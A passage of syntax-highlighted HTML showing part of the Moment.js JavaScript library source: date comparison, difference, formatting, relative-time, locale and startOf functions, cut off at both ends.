function_">diff</span>(now, <span class="string">&#x27;days&#x27;</span>, <span class="literal">true</span>);</span><br><span class="line">        <span class="keyword">return</span> diff &lt; -<span class="number">6</span> ? <span class="string">&#x27;sameElse&#x27;</span> :</span><br><span class="line">            diff &lt; -<span class="number">1</span> ? <span class="string">&#x27;lastWeek&#x27;</span> :</span><br><span class="line">                diff &lt; <span class="number">0</span> ? <span class="string">&#x27;lastDay&#x27;</span> :</span><br><span class="line">                    diff &lt; <span class="number">1</span> ? <span class="string">&#x27;sameDay&#x27;</span> :</span><br><span class="line">                        diff &lt; <span class="number">2</span> ? <span class="string">&#x27;nextDay&#x27;</span> :</span><br><span class="line">                            diff &lt; <span class="number">7</span> ? <span class="string">&#x27;nextWeek&#x27;</span> : <span class="string">&#x27;sameElse&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">calendar$1</span>(<span class="params">time, formats</span>) &#123;</span><br><span class="line">        <span class="comment">// We want to compare the start of today, vs this.</span></span><br><span class="line">        <span class="comment">// Getting start-of-today depends on whether we&#x27;re local/utc/offset or not.</span></span><br><span class="line">        <span class="keyword">var</span> now = time || <span class="title function_">createLocal</span>(),</span><br><span class="line">            sod = <span class="title function_">cloneWithOffset</span>(now, <span class="variable language_">this</span>).<span class="title function_">startOf</span>(<span class="string">&#x27;day&#x27;</span>),</span><br><span class="line">            format = hooks.<span class="title function_">calendarFormat</span>(<span class="variable language_">this</span>, sod) || <span class="string">&#x27;sameElse&#x27;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">var</span> output = formats &amp;&amp; (<span class="title function_">isFunction</span>(formats[format]) ? formats[format].<span class="title function_">call</span>(<span class="variable language_">this</span>, now) : formats[</span><br><span class="line">            format]);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">format</span>(output || <span class="variable language_">this</span>.<span class="title function_">localeData</span>().<span class="title function_">calendar</span>(format, <span class="variable language_">this</span>, <span class="title function_">createLocal</span>(now)));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">clone</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Moment</span>(<span class="variable language_">this</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isAfter</span>(<span class="params">input, units</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> localInput = <span class="title function_">isMoment</span>(input) ? input : <span class="title function_">createLocal</span>(input);</span><br><span class="line">        <span class="keyword">if</span> (!(<span class="variable language_">this</span>.<span class="title function_">isValid</span>() &amp;&amp; localInput.<span class="title function_">isValid</span>())) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        units = <span class="title function_">normalizeUnits</span>(units) || <span class="string">&#x27;millisecond&#x27;</span>;</span><br><span class="line">        <span class="keyword">if</span> (units === <span class="string">&#x27;millisecond&#x27;</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">valueOf</span>() &gt; localInput.<span class="title function_">valueOf</span>();</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> localInput.<span class="title function_">valueOf</span>() &lt; <span class="variable language_">this</span>.<span class="title function_">clone</span>().<span class="title function_">startOf</span>(units).<span class="title function_">valueOf</span>();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isBefore</span>(<span class="params">input, units</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> localInput = <span class="title function_">isMoment</span>(input) ? input : <span class="title function_">createLocal</span>(input);</span><br><span class="line">        <span class="keyword">if</span> (!(<span class="variable language_">this</span>.<span class="title function_">isValid</span>() &amp;&amp; localInput.<span class="title function_">isValid</span>())) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        units = <span class="title function_">normalizeUnits</span>(units) || <span class="string">&#x27;millisecond&#x27;</span>;</span><br><span class="line">        <span class="keyword">if</span> (units === <span class="string">&#x27;millisecond&#x27;</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">valueOf</span>() &lt; localInput.<span class="title function_">valueOf</span>();</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">clone</span>().<span class="title function_">endOf</span>(units).<span class="title function_">valueOf</span>() &lt; localInput.<span class="title function_">valueOf</span>();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isBetween</span>(<span class="params"><span class="keyword">from</span>, to, units, inclusivity</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> localFrom = <span class="title function_">isMoment</span>(<span class="keyword">from</span>) ? <span class="keyword">from</span> : <span class="title function_">createLocal</span>(<span class="keyword">from</span>),</span><br><span class="line">            localTo = <span class="title function_">isMoment</span>(to) ? to : <span class="title function_">createLocal</span>(to);</span><br><span class="line">        <span class="keyword">if</span> (!(<span class="variable language_">this</span>.<span class="title function_">isValid</span>() &amp;&amp; localFrom.<span class="title function_">isValid</span>() &amp;&amp; localTo.<span class="title function_">isValid</span>())) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        inclusivity = inclusivity || <span class="string">&#x27;()&#x27;</span>;</span><br><span class="line">        <span class="keyword">return</span> (inclusivity[<span class="number">0</span>] === <span class="string">&#x27;(&#x27;</span> ? <span class="variable language_">this</span>.<span class="title function_">isAfter</span>(localFrom, units) : !<span class="variable language_">this</span>.<span class="title function_">isBefore</span>(localFrom, units)) &amp;&amp;</span><br><span class="line">            (inclusivity[<span class="number">1</span>] === <span class="string">&#x27;)&#x27;</span> ? <span class="variable language_">this</span>.<span class="title function_">isBefore</span>(localTo, units) : !<span class="variable language_">this</span>.<span class="title function_">isAfter</span>(localTo, units));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isSame</span>(<span class="params">input, units</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> localInput = <span class="title function_">isMoment</span>(input) ? input : <span class="title function_">createLocal</span>(input),</span><br><span class="line">            inputMs;</span><br><span class="line">        <span class="keyword">if</span> (!(<span class="variable language_">this</span>.<span class="title function_">isValid</span>() &amp;&amp; localInput.<span class="title function_">isValid</span>())) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        units = <span class="title function_">normalizeUnits</span>(units) || <span class="string">&#x27;millisecond&#x27;</span>;</span><br><span class="line">        <span class="keyword">if</span> (units === <span class="string">&#x27;millisecond&#x27;</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">valueOf</span>() === localInput.<span class="title function_">valueOf</span>();</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            inputMs = localInput.<span class="title function_">valueOf</span>();</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">clone</span>().<span class="title function_">startOf</span>(units).<span class="title function_">valueOf</span>() &lt;= inputMs &amp;&amp; inputMs &lt;= <span class="variable language_">this</span>.<span class="title function_">clone</span>().<span class="title function_">endOf</span>(units)</span><br><span class="line">                .<span class="title function_">valueOf</span>();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isSameOrAfter</span>(<span class="params">input, units</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">isSame</span>(input, units) || <span class="variable language_">this</span>.<span class="title function_">isAfter</span>(input, units);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isSameOrBefore</span>(<span class="params">input, units</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">isSame</span>(input, units) || <span class="variable language_">this</span>.<span class="title function_">isBefore</span>(input, units);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">diff</span>(<span class="params">input, units, asFloat</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> that,</span><br><span class="line">            zoneDelta,</span><br><span class="line">            output;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="title function_">isValid</span>()) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title class_">NaN</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        that = <span class="title function_">cloneWithOffset</span>(input, <span class="variable language_">this</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (!that.<span class="title function_">isValid</span>()) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title class_">NaN</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        zoneDelta = (that.<span class="title function_">utcOffset</span>() - <span class="variable language_">this</span>.<span class="title function_">utcOffset</span>()) * <span class="number">6e4</span>;</span><br><span class="line"></span><br><span class="line">        units = <span class="title function_">normalizeUnits</span>(units);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">switch</span> (units) &#123;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;year&#x27;</span>:</span><br><span class="line">                output = <span class="title function_">monthDiff</span>(<span class="variable language_">this</span>, that) / <span class="number">12</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;month&#x27;</span>:</span><br><span class="line">                output = <span class="title function_">monthDiff</span>(<span class="variable language_">this</span>, that);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;quarter&#x27;</span>:</span><br><span class="line">                output = <span class="title function_">monthDiff</span>(<span class="variable language_">this</span>, that) / <span class="number">3</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;second&#x27;</span>:</span><br><span class="line">                output = (<span class="variable language_">this</span> - that) / <span class="number">1e3</span>;</span><br><span class="line">                <span class="keyword">break</span>; <span class="comment">// 1000</span></span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;minute&#x27;</span>:</span><br><span class="line">                output = (<span class="variable language_">this</span> - that) / <span class="number">6e4</span>;</span><br><span class="line">                <span class="keyword">break</span>; <span class="comment">// 1000 * 60</span></span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;hour&#x27;</span>:</span><br><span class="line">                output = (<span class="variable language_">this</span> - that) / <span class="number">36e5</span>;</span><br><span class="line">                <span class="keyword">break</span>; <span class="comment">// 1000 * 60 * 60</span></span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;day&#x27;</span>:</span><br><span class="line">                output = (<span class="variable language_">this</span> - that - zoneDelta) / <span class="number">864e5</span>;</span><br><span class="line">                <span class="keyword">break</span>; <span class="comment">// 1000 * 60 * 60 * 24, negate dst</span></span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;week&#x27;</span>:</span><br><span class="line">                output = (<span class="variable language_">this</span> - that - zoneDelta) / <span class="number">6048e5</span>;</span><br><span class="line">                <span class="keyword">break</span>; <span class="comment">// 1000 * 60 * 60 * 24 * 7, negate dst</span></span><br><span class="line">            <span class="attr">default</span>:</span><br><span class="line">                output = <span class="variable language_">this</span> - that;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> asFloat ? output : <span class="title function_">absFloor</span>(output);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">monthDiff</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">        <span class="comment">// difference in months</span></span><br><span class="line">        <span class="keyword">var</span> wholeMonthDiff = ((b.<span class="title function_">year</span>() - a.<span class="title function_">year</span>()) * <span class="number">12</span>) + (b.<span class="title function_">month</span>() - a.<span class="title function_">month</span>()),</span><br><span class="line">            <span class="comment">// b is in (anchor - 1 month, anchor + 1 month)</span></span><br><span class="line">            anchor = a.<span class="title function_">clone</span>().<span class="title function_">add</span>(wholeMonthDiff, <span class="string">&#x27;months&#x27;</span>),</span><br><span class="line">            anchor2, adjust;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (b - anchor &lt; <span class="number">0</span>) &#123;</span><br><span class="line">            anchor2 = a.<span class="title function_">clone</span>().<span class="title function_">add</span>(wholeMonthDiff - <span class="number">1</span>, <span class="string">&#x27;months&#x27;</span>);</span><br><span class="line">            <span class="comment">// linear across the month</span></span><br><span class="line">            adjust = (b - anchor) / (anchor - anchor2);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            anchor2 = a.<span class="title function_">clone</span>().<span class="title function_">add</span>(wholeMonthDiff + <span class="number">1</span>, <span class="string">&#x27;months&#x27;</span>);</span><br><span class="line">            <span class="comment">// linear across the month</span></span><br><span class="line">            adjust = (b - anchor) / (anchor2 - anchor);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//check for negative zero, return zero if negative zero</span></span><br><span class="line">        <span class="keyword">return</span> -(wholeMonthDiff + adjust) || <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    hooks.<span class="property">defaultFormat</span> = <span class="string">&#x27;YYYY-MM-DDTHH:mm:ssZ&#x27;</span>;</span><br><span class="line">    hooks.<span class="property">defaultFormatUtc</span> = <span class="string">&#x27;YYYY-MM-DDTHH:mm:ss[Z]&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">toString</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">clone</span>().<span class="title function_">locale</span>(<span class="string">&#x27;en&#x27;</span>).<span class="title function_">format</span>(<span class="string">&#x27;ddd MMM DD YYYY HH:mm:ss [GMT]ZZ&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">toISOString</span>(<span class="params">keepOffset</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="title function_">isValid</span>()) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">var</span> utc = keepOffset !== <span class="literal">true</span>;</span><br><span class="line">        <span class="keyword">var</span> m = utc ? <span class="variable language_">this</span>.<span class="title function_">clone</span>().<span class="title function_">utc</span>() : <span class="variable language_">this</span>;</span><br><span class="line">        <span class="keyword">if</span> (m.<span class="title function_">year</span>() &lt; <span class="number">0</span> || m.<span class="title function_">year</span>() &gt; <span class="number">9999</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title function_">formatMoment</span>(m, utc ? <span class="string">&#x27;YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]&#x27;</span> : <span class="string">&#x27;YYYYYY-MM-DD[T]HH:mm:ss.SSSZ&#x27;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_">isFunction</span>(<span class="title class_">Date</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">toISOString</span>)) &#123;</span><br><span class="line">            <span class="comment">// native implementation is ~50x faster, use it when we can</span></span><br><span class="line">            <span class="keyword">if</span> (utc) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">toDate</span>().<span class="title function_">toISOString</span>();</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Date</span>(<span class="variable language_">this</span>.<span class="title function_">valueOf</span>() + <span class="variable language_">this</span>.<span class="title function_">utcOffset</span>() * <span class="number">60</span> * <span class="number">1000</span>).<span class="title function_">toISOString</span>().<span class="title function_">replace</span>(<span class="string">&#x27;Z&#x27;</span>,</span><br><span class="line">                    <span class="title function_">formatMoment</span>(m, <span class="string">&#x27;Z&#x27;</span>));</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">formatMoment</span>(m, utc ? <span class="string">&#x27;YYYY-MM-DD[T]HH:mm:ss.SSS[Z]&#x27;</span> : <span class="string">&#x27;YYYY-MM-DD[T]HH:mm:ss.SSSZ&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * Return a human readable representation of a moment that can</span></span><br><span class="line"><span class="comment">     * also be evaluated to get a new moment which is the same</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@link</span> https://nodejs.org/dist/latest/docs/api/util.html#util_custom_inspect_function_on_objects</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">inspect</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="title function_">isValid</span>()) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&#x27;moment.invalid(/* &#x27;</span> + <span class="variable language_">this</span>.<span class="property">_i</span> + <span class="string">&#x27; */)&#x27;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">var</span> func = <span class="string">&#x27;moment&#x27;</span>;</span><br><span class="line">        <span class="keyword">var</span> zone = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="title function_">isLocal</span>()) &#123;</span><br><span class="line">            func = <span class="variable language_">this</span>.<span class="title function_">utcOffset</span>() === <span class="number">0</span> ? <span class="string">&#x27;moment.utc&#x27;</span> : <span class="string">&#x27;moment.parseZone&#x27;</span>;</span><br><span class="line">            zone = <span class="string">&#x27;Z&#x27;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">var</span> prefix = <span class="string">&#x27;[&#x27;</span> + func + <span class="string">&#x27;(&quot;]&#x27;</span>;</span><br><span class="line">        <span class="keyword">var</span> year = (<span class="number">0</span> &lt;= <span class="variable language_">this</span>.<span class="title function_">year</span>() &amp;&amp; <span class="variable language_">this</span>.<span class="title function_">year</span>() &lt;= <span class="number">9999</span>) ? <span class="string">&#x27;YYYY&#x27;</span> : <span class="string">&#x27;YYYYYY&#x27;</span>;</span><br><span class="line">        <span class="keyword">var</span> datetime = <span class="string">&#x27;-MM-DD[T]HH:mm:ss.SSS&#x27;</span>;</span><br><span class="line">        <span class="keyword">var</span> suffix = zone + <span class="string">&#x27;[&quot;)]&#x27;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">format</span>(prefix + year + datetime + suffix);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">format</span>(<span class="params">inputString</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!inputString) &#123;</span><br><span class="line">            inputString = <span class="variable language_">this</span>.<span class="title function_">isUtc</span>() ? hooks.<span class="property">defaultFormatUtc</span> : hooks.<span class="property">defaultFormat</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">var</span> output = <span class="title function_">formatMoment</span>(<span class="variable language_">this</span>, inputString);</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">localeData</span>().<span class="title function_">postformat</span>(output);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">from</span>(<span class="params">time, withoutSuffix</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="variable language_">this</span>.<span class="title function_">isValid</span>() &amp;&amp;</span><br><span class="line">            ((<span class="title function_">isMoment</span>(time) &amp;&amp; time.<span class="title function_">isValid</span>()) ||</span><br><span class="line">                <span class="title function_">createLocal</span>(time).<span class="title function_">isValid</span>())) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title function_">createDuration</span>(&#123;</span><br><span class="line">                <span class="attr">to</span>: <span class="variable language_">this</span>,</span><br><span class="line">                <span class="attr">from</span>: time</span><br><span class="line">            &#125;).<span class="title function_">locale</span>(<span class="variable language_">this</span>.<span class="title function_">locale</span>()).<span class="title function_">humanize</span>(!withoutSuffix);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">localeData</span>().<span class="title function_">invalidDate</span>();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">fromNow</span>(<span class="params">withoutSuffix</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">from</span>(<span class="title function_">createLocal</span>(), withoutSuffix);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">to</span>(<span class="params">time, withoutSuffix</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="variable language_">this</span>.<span class="title function_">isValid</span>() &amp;&amp;</span><br><span class="line">            ((<span class="title function_">isMoment</span>(time) &amp;&amp; time.<span class="title function_">isValid</span>()) ||</span><br><span class="line">                <span class="title function_">createLocal</span>(time).<span class="title function_">isValid</span>())) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title function_">createDuration</span>(&#123;</span><br><span class="line">                <span class="attr">from</span>: <span class="variable language_">this</span>,</span><br><span class="line">                <span class="attr">to</span>: time</span><br><span class="line">            &#125;).<span class="title function_">locale</span>(<span class="variable language_">this</span>.<span class="title function_">locale</span>()).<span class="title function_">humanize</span>(!withoutSuffix);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">localeData</span>().<span class="title function_">invalidDate</span>();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">toNow</span>(<span class="params">withoutSuffix</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">to</span>(<span class="title function_">createLocal</span>(), withoutSuffix);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// If passed a locale key, it will set the locale for this</span></span><br><span class="line">    <span class="comment">// instance.  Otherwise, it will return the locale configuration</span></span><br><span class="line">    <span class="comment">// variables for this instance.</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">locale</span>(<span class="params">key</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> newLocaleData;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (key === <span class="literal">undefined</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_locale</span>.<span class="property">_abbr</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            newLocaleData = <span class="title function_">getLocale</span>(key);</span><br><span class="line">            <span class="keyword">if</span> (newLocaleData != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_locale</span> = newLocaleData;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> lang = <span class="title function_">deprecate</span>(</span><br><span class="line">        <span class="string">&#x27;moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.&#x27;</span>,</span><br><span class="line">        <span class="keyword">function</span> (<span class="params">key</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (key === <span class="literal">undefined</span>) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">localeData</span>();</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">locale</span>(key);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">localeData</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_locale</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> <span class="variable constant_">MS_PER_SECOND</span> = <span class="number">1000</span>;</span><br><span class="line">    <span class="keyword">var</span> <span class="variable constant_">MS_PER_MINUTE</span> = <span class="number">60</span> * <span class="variable constant_">MS_PER_SECOND</span>;</span><br><span class="line">    <span class="keyword">var</span> <span class="variable constant_">MS_PER_HOUR</span> = <span class="number">60</span> * <span class="variable constant_">MS_PER_MINUTE</span>;</span><br><span class="line">    <span class="keyword">var</span> <span class="variable constant_">MS_PER_400_YEARS</span> = (<span class="number">365</span> * <span class="number">400</span> + <span class="number">97</span>) * <span class="number">24</span> * <span class="variable constant_">MS_PER_HOUR</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// actual modulo - handles negative numbers (for dates before 1970):</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">mod$1</span>(<span class="params">dividend, divisor</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> (dividend % divisor + divisor) % divisor;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">localStartOfDate</span>(<span class="params">y, m, d</span>) &#123;</span><br><span class="line">        <span class="comment">// the date constructor remaps years 0-99 to 1900-1999</span></span><br><span class="line">        <span class="keyword">if</span> (y &lt; <span class="number">100</span> &amp;&amp; y &gt;= <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="comment">// preserve leap years using a full 400 year cycle, then reset</span></span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Date</span>(y + <span class="number">400</span>, m, d) - <span class="variable constant_">MS_PER_400_YEARS</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Date</span>(y, m, d).<span class="title function_">valueOf</span>();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">utcStartOfDate</span>(<span class="params">y, m, d</span>) &#123;</span><br><span class="line">        <span class="comment">// Date.UTC remaps years 0-99 to 1900-1999</span></span><br><span class="line">        <span class="keyword">if</span> (y &lt; <span class="number">100</span> &amp;&amp; y &gt;= <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="comment">// preserve leap years using a full 400 year cycle, then reset</span></span><br><span class="line">            <span class="keyword">return</span> <span class="title class_">Date</span>.<span class="title function_">UTC</span>(y + <span class="number">400</span>, m, d) - <span class="variable constant_">MS_PER_400_YEARS</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title class_">Date</span>.<span class="title function_">UTC</span>(y, m, d);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">startOf</span>(<span class="params">units</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> time;</span><br><span class="line">        units = <span class="title function_">normalizeUnits</span>(units);</span><br><span class="line">        <span class="keyword">if</span> (units === <span class="literal">undefined</span> || units === <span class="string">&#x27;millisecond&#x27;</span> || !<span class="variable language_">this</span>.<span class="title function_">isValid</span>()) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">var</span> startOfDate = <span class="variable language_">this</span>.<span class="property">_isUTC</span> ? utcStartOfDate : localStartOfDate;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">switch</span> (units) &#123;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;year&#x27;</span>:</span><br><span class="line">                time = <span class="title function_">startOfDate</span>(<span class="variable language_">this</span>.<span class="title function_">year</span>(), <span class="number">0</span>, <span class="number">1</span>);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;quarter&#x27;</span>:</span><br><span class="line">                time = <span class="title function_">startOfDate</span>(<span class="variable language_">this</span>.<span class="title function_">year</span>(), <span class="variable language_">this</span>.<span class="title function_">month</span>() - <span class="variable language_">this</span>.<span class="title function_">month</span>() % <span class="number">3</span>, <span class="number">1</span>);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;month&#x27;</span>:</span><br><span class="line">                time = <span class="title function_">startOfDate</span>(<span class="variable language_">this</span>.<span class="title function_">year</span>(), <span class="variable language_">this</span>.<span class="title function_">month</span>(), <span class="number">1</span>);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span 